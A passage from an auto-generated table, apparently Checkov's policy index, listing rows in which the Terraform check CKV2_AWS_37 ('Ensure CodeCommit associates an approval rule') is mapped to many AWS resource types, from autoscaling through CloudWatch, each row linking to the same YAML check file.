[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1059 | CKV2_AWS_37 | resource | aws_autoscaling_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1060 | CKV2_AWS_37 | resource | aws_autoscaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1061 | CKV2_AWS_37 | resource | aws_autoscaling_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1062 | CKV2_AWS_37 | resource | aws_autoscaling_traffic_source_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1063 | CKV2_AWS_37 | resource | aws_autoscalingplans_scaling_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1064 | CKV2_AWS_37 | resource | aws_az_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1065 | CKV2_AWS_37 | resource | aws_backup_framework | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1066 | CKV2_AWS_37 | resource | aws_backup_global_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1067 | CKV2_AWS_37 | resource | aws_backup_logically_air_gapped_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1068 | CKV2_AWS_37 | resource | aws_backup_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1069 | CKV2_AWS_37 | resource | aws_backup_region_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1070 | CKV2_AWS_37 | resource | aws_backup_report_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1071 | CKV2_AWS_37 | resource | aws_backup_restore_testing_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1072 | CKV2_AWS_37 | resource | aws_backup_restore_testing_selection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1073 | CKV2_AWS_37 | resource | aws_backup_selection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1074 | CKV2_AWS_37 | resource | aws_backup_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1075 | CKV2_AWS_37 | resource | aws_backup_vault_lock_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1076 | CKV2_AWS_37 | resource | aws_backup_vault_notifications | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1077 | CKV2_AWS_37 | resource | aws_backup_vault_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1078 | CKV2_AWS_37 | resource | aws_batch_compute_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1079 | CKV2_AWS_37 | resource | aws_batch_job_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1080 | CKV2_AWS_37 | resource | aws_batch_job_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1081 | CKV2_AWS_37 | resource | aws_batch_scheduling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1082 | CKV2_AWS_37 | resource | aws_bcmdataexports_export | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1083 | CKV2_AWS_37 | resource | aws_bedrock_custom_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1084 | CKV2_AWS_37 | resource | aws_bedrock_guardrail | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1085 | CKV2_AWS_37 | resource | aws_bedrock_guardrail_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1086 | CKV2_AWS_37 | resource | aws_bedrock_inference_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1087 | CKV2_AWS_37 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1088 | CKV2_AWS_37 | resource | aws_bedrock_provisioned_model_throughput | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1089 | CKV2_AWS_37 | resource | aws_bedrockagent_agent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1090 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_action_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1091 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1092 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_collaborator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1093 | CKV2_AWS_37 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1094 | CKV2_AWS_37 | resource | aws_bedrockagent_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1095 | CKV2_AWS_37 | resource | aws_bedrockagent_knowledge_base | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1096 | CKV2_AWS_37 | resource | aws_budgets_budget | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1097 | CKV2_AWS_37 | resource | aws_budgets_budget_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1098 | CKV2_AWS_37 | resource | aws_caller_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1099 | CKV2_AWS_37 | resource | aws_ce_anomaly_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1100 | CKV2_AWS_37 | resource | aws_ce_anomaly_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1101 | CKV2_AWS_37 | resource | aws_ce_cost_allocation_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1102 | CKV2_AWS_37 | resource | aws_ce_cost_category | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1103 | CKV2_AWS_37 | resource | aws_chatbot_slack_channel_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1104 | CKV2_AWS_37 | resource | aws_chatbot_teams_channel_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1105 | CKV2_AWS_37 | resource | aws_chime_voice_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1106 | CKV2_AWS_37 | resource | aws_chime_voice_connector_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1107 | CKV2_AWS_37 | resource | aws_chime_voice_connector_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1108 | CKV2_AWS_37 | resource | aws_chime_voice_connector_origination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1109 | CKV2_AWS_37 | resource | aws_chime_voice_connector_streaming | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1110 | CKV2_AWS_37 | resource | aws_chime_voice_connector_termination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1111 | CKV2_AWS_37 | resource | aws_chime_voice_connector_termination_credentials | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1112 | CKV2_AWS_37 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1113 | CKV2_AWS_37 | resource | aws_chimesdkvoice_global_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1114 | CKV2_AWS_37 | resource | aws_chimesdkvoice_sip_media_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1115 | CKV2_AWS_37 | resource | aws_chimesdkvoice_sip_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1116 | CKV2_AWS_37 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1117 | CKV2_AWS_37 | resource | aws_cleanrooms_collaboration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1118 | CKV2_AWS_37 | resource | aws_cleanrooms_configured_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1119 | CKV2_AWS_37 | resource | aws_cleanrooms_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1120 | CKV2_AWS_37 | resource | aws_cloud9_environment_ec2 | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1121 | CKV2_AWS_37 | resource | aws_cloud9_environment_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1122 | CKV2_AWS_37 | resource | aws_cloudcontrolapi_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1123 | CKV2_AWS_37 | resource | aws_cloudformation_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1124 | CKV2_AWS_37 | resource | aws_cloudformation_stack_instances | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1125 | CKV2_AWS_37 | resource | aws_cloudformation_stack_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1126 | CKV2_AWS_37 | resource | aws_cloudformation_stack_set_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1127 | CKV2_AWS_37 | resource | aws_cloudformation_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1128 | CKV2_AWS_37 | resource | aws_cloudfront_cache_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1129 | CKV2_AWS_37 | resource | aws_cloudfront_continuous_deployment_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1130 | CKV2_AWS_37 | resource | aws_cloudfront_distribution | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1131 | CKV2_AWS_37 | resource | aws_cloudfront_field_level_encryption_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1132 | CKV2_AWS_37 | resource | aws_cloudfront_field_level_encryption_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1133 | CKV2_AWS_37 | resource | aws_cloudfront_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1134 | CKV2_AWS_37 | resource | aws_cloudfront_key_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1135 | CKV2_AWS_37 | resource | aws_cloudfront_key_value_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1136 | CKV2_AWS_37 | resource | aws_cloudfront_monitoring_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1137 | CKV2_AWS_37 | resource | aws_cloudfront_origin_access_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1138 | CKV2_AWS_37 | resource | aws_cloudfront_origin_access_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1139 | CKV2_AWS_37 | resource | aws_cloudfront_origin_request_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1140 | CKV2_AWS_37 | resource | aws_cloudfront_public_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1141 | CKV2_AWS_37 | resource | aws_cloudfront_realtime_log_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1142 | CKV2_AWS_37 | resource | aws_cloudfront_response_headers_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1143 | CKV2_AWS_37 | resource | aws_cloudfront_vpc_origin | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1144 | CKV2_AWS_37 | resource | aws_cloudfrontkeyvaluestore_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1145 | CKV2_AWS_37 | resource | aws_cloudhsm_v2_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1146 | CKV2_AWS_37 | resource | aws_cloudhsm_v2_hsm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1147 | CKV2_AWS_37 | resource | aws_cloudsearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1148 | CKV2_AWS_37 | resource | aws_cloudsearch_domain_service_access_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1149 | CKV2_AWS_37 | resource | aws_cloudtrail | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1150 | CKV2_AWS_37 | resource | aws_cloudtrail_event_data_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1151 | CKV2_AWS_37 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1152 | CKV2_AWS_37 | resource | aws_cloudwatch_composite_alarm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1153 | CKV2_AWS_37 | resource | aws_cloudwatch_dashboard | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1154 | CKV2_AWS_37 | resource | aws_cloudwatch_event_api_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1155 | CKV2_AWS_37 | resource | aws_cloudwatch_event_archive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1156 | CKV2_AWS_37 | resource | aws_cloudwatch_event_bus | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1157 | CKV2_AWS_37 | resource | aws_cloudwatch_event_bus_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1158 | CKV2_AWS_37 | resource | aws_cloudwatch_event_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1159 | CKV2_AWS_37 | resource | aws_cloudwatch_event_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1160 | CKV2_AWS_37 | resource | aws_cloudwatch_event_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1161 | CKV2_AWS_37 | resource | aws_cloudwatch_event_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1162 | CKV2_AWS_37 | resource | aws_cloudwatch_event_target | Ensure CodeCommit associates an approval rule | Terraform | 